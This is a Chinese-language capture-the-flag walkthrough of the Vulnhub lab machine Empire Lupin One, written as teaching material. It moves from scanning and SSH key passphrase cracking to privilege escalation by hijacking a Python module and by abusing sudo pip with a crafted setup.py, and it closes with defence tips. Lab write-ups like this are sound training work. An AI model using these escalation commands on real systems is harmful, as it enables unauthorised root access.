Vulnhub Empire Lupin One
字数 1275 2025-08-12 11:34:05
Empire Lupin One 靶场渗透测试教学文档
靶场概述
Empire Lupin One 是 Vulnhub 上的一个渗透测试靶场,难度中等,涉及Web应用安全、SSH密钥利用和权限提升等技术点。
靶场搭建
-
下载靶场:
- 下载地址:https://www.vulnhub.com/series/empire,507/
- 文件格式:虚拟机压缩文件
-
导入虚拟机:
- 使用VMware直接导入
- 网络模式:NAT或桥接模式均可
-
启动虚拟机:
- 默认IP:192.168.109.129(可能因网络环境不同而变化)
信息收集
端口扫描
nmap -sS -p 0-65535 -Pn -O 192.168.109.129
扫描结果:
- 80端口:HTTP服务(Apache 2.4.48)
- 22端口:SSH服务
Web渗透
目录扫描
-
发现敏感文件:
/robots.txt/~myfiles(注意特殊字符~)
-
扩大扫描范围:
- 使用
/usr/share/wordlists/rockyou.txt字典 - 发现新目录:
/~secret
- 使用
密钥文件发现
-
在
/~secret目录下寻找SSH密钥:- 尝试常见后缀:
.txt、.pub - 最终找到:
/~secret/.mysecret.txt
- 尝试常见后缀:
-
解码密钥文件:
- 文件内容经过Base58编码
- 解码后获得SSH私钥
SSH利用
密钥登录尝试
-
保存密钥到文件:
echo "base58解码后的密钥内容" > id_rsa chmod 600 id_rsa -
尝试登录:
ssh -i id_rsa user@192.168.109.129- 发现需要密码
密钥密码爆破
-
使用
ssh2john转换密钥:ssh2john id_rsa > hash.txt -
使用
fasttrack字典爆破:john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt- 爆破结果:
P@55w0rd!
- 爆破结果:
-
成功登录:
ssh -i id_rsa user@192.168.109.129- 输入密码:
P@55w0rd!
- 输入密码:
初始权限获取
-
查看用户目录:
- 发现
user.txt,获取第一个flag
- 发现
-
发现提示文件:
- 包含一个Python脚本和提示信息
- 提示:Python脚本可以破坏账户
权限提升(arsene用户)
检查sudo权限
sudo -l
结果:
- 可以以
arsene用户免密执行:python3.9heist文件
利用方法
-
分析
heist文件:- 发现引入了
webbrowser模块
- 发现引入了
-
查找
webbrowser.py:- 位于Python3.9目录下
- 当前用户有写入权限
-
修改
webbrowser.py:- 插入反向shell代码:
import os os.system("/bin/bash")
- 插入反向shell代码:
-
执行
heist文件:- 成功获取
arsene用户权限
- 成功获取
权限提升(root用户)
检查sudo权限
sudo -l
结果:
- 可以免密执行
pip
利用pip提权
-
创建恶意
setup.py:TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py -
执行恶意安装:
sudo pip install $TF -
获取root权限:
- 成功获得root shell
总结
渗透路径
- Web目录扫描 → 发现密钥文件 → Base58解码 → SSH密钥爆破
- 初始用户权限 → 利用Python模块注入 → arsene用户权限
- 利用pip安装漏洞 → root权限
关键技术点
- 特殊字符目录扫描(
~前缀) - Base58编码识别与解码
- SSH密钥密码爆破
- Python模块注入
- pip安装提权技术
防御建议
- 避免在Web目录存放敏感文件
- 使用强密码保护SSH密钥
- 限制sudo权限
- 定期更新软件版本
- 严格控制文件系统权限